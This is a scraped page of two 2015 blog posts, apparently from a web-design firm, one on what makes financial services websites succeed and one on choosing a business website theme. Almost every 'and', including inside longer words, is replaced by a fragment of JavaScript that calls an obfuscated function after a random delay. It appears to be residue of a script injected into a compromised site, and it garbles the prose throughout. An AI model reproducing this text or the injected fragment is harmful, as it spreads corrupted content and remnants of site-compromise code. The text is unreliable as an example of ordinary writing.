Tag: Great

18 Sep 2015

What Makes A Financial Website Successful?

At one time, the internet appeared to offer all organisations a simple proposition: email connectivity andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and a clickable presence in the form of a website. Today, web presence has rapidly evolved with interactive content andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and the ability to deliver transactional experiences – or e-commerce. Migrating services online helps business reduce costs, while customers benefit from the convenience andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and autonomy of self-service.

Financial services are faced with the challenge of delivering their customers with an online experience that goes far beyond just a website.

Financial services sites are absolutely competitive. They are really trying to drive people online. The self-service model is being taken seriously so they want to make sure their sites are available, responsive andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and allow users to do as many things as possible.

Though, many have shown an overall poor performance. The top reasons for failure were as follows: company websites make browsing too difficult; content missing, repeated andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and

poorly worded; andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and site search doesn’t work for typical tasks.

Here are three factors for a successful online financial service site which keeps users engaged andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and displays great use of technology while still delivers company’s messages clearly andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and effectively:

  • Customer experience, which includes the impression the homepage andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and overall design style give the customers, their satisfaction when they interact with the site andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and perform tasks.
  • Best practices, such as ease of use, quality, availability andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and security – site managers must be compliant with data laws requiring them to protect customer information andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and the integrity of customer accounts.
  • Service-level, which looks at responsiveness andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and reliability of websites – scores them on how quickly they respond to user commandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}ands andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and such factors as average downtime.

Financial services must tie these three factors together – customer experience, best practices andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and reliability/responsiveness – to have an effective web presence. They can’t go hard into one particular area andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and ignore the others. They have to understandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and what’s available versus their competitors, what consumers think of their sites versus competitors’ andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and how their sites are performing.

09 Sep 2015

How To Choose The Best Theme For My Business?

Building a beautiful website for your business begins with choosing a theme — a design that controls page layout, widget areas, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and default style. Selecting Polygon for your business website can feel overwhelming, but you can make it easier by focusing on these three questions.

What Am I Publishing on My Website?
Draft a visual map of your website to help you plan your site structure andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and decide what you want your homepage to look like. Will your homepage contain static information about your business like a welcome message andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and business hours or do you want to showcase your latest blog content?

What Features Do I Need?
Are you building a restaurant website, a landom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}anding page for your hotel, a corporate blog, or something completely different? Depending on your business, you may need website features exclusive to certain themes.

What Look andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Feel Do I Want for My Website?
You can filter themes by style andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and color if you have a specific look in mind or need to match a brandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and logo. While most themes can be tweaked with custom headers andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and background colors, Custom Design unlocks next-level customization.

Think back to the content you expect to publish on your site. Do you need a design that showcases photos? If so, choose a portfolio site or a design that makes the most of high-resolution photos. Perhaps photography plays a small role in your website design. If so, avoid themes that only look good with a lot of photos.